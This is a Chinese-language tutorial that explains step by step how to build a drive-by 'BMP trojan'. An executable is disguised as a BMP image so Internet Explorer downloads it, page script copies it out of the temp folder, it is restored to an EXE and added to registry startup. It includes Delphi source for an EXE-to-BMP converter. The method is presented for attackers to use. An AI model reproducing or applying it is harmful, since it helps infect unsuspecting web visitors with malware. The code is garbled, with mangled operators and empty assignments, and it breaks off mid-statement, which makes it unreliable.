【正文】
何謂BMP網(wǎng)頁(yè)木馬?它和過(guò)去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個(gè)EXE文件用MIME編碼為一個(gè)EML(OUT LOOK信件)文件,放到網(wǎng)頁(yè)上利用IE和OE的編碼漏洞實(shí)現(xiàn)自動(dòng)下載和執(zhí)行。 然而B(niǎo)MP木馬就不同,它把一個(gè)EXE文件偽裝成一個(gè)BMP圖片文件,欺騙IE自動(dòng)下載,再利用網(wǎng)頁(yè)中的JAVASCRIPT腳本查找客戶端的Internet臨時(shí)文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄。再編寫(xiě)一個(gè)腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊(cè)表啟動(dòng)項(xiàng)中,對(duì)于2K、XP來(lái)說(shuō)是無(wú)能為力了。 看上去好象很復(fù)雜,下面我們一步一步來(lái): 1) EXE變BMP的方法 大家自己去查查BMP文件資料就會(huì)知道,BMP文件的文件頭有54個(gè)字節(jié),簡(jiǎn)單來(lái)說(shuō)里面包含了BMP文件的長(zhǎng)寬、位數(shù)、文件大小、數(shù)據(jù)區(qū)長(zhǎng)度。我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開(kāi)始我們用JPG文件做過(guò)試驗(yàn),發(fā)現(xiàn)如果文件頭不正確的話,是不會(huì)下載的,轉(zhuǎn)換代碼如下: program exe2bmp。 uses Windows, SysUtils。 var len,row,col,fs: DWORD。 buffer: array[0..255]of char。 fd: WIN32_FIND_DATA。 h,hw: THandle。 begin if (ParamStr(1)39。39。) and(ParamStr(2)39。39。) then begin //如果運(yùn)行后沒(méi)有兩個(gè)參數(shù)則退出 if FileExists(ParamStr(1)) then begin FindFirstFile(Pchar(ParamStr(1)),fd)。 fs:=。 col := 4。 while true do begin if (fs mod 12)=0 then begin len:=fs。 end else len:=fs+12(fs mod 12)。 row := len div col div 3。 if rowcol then begin col:=col+4。 end else Br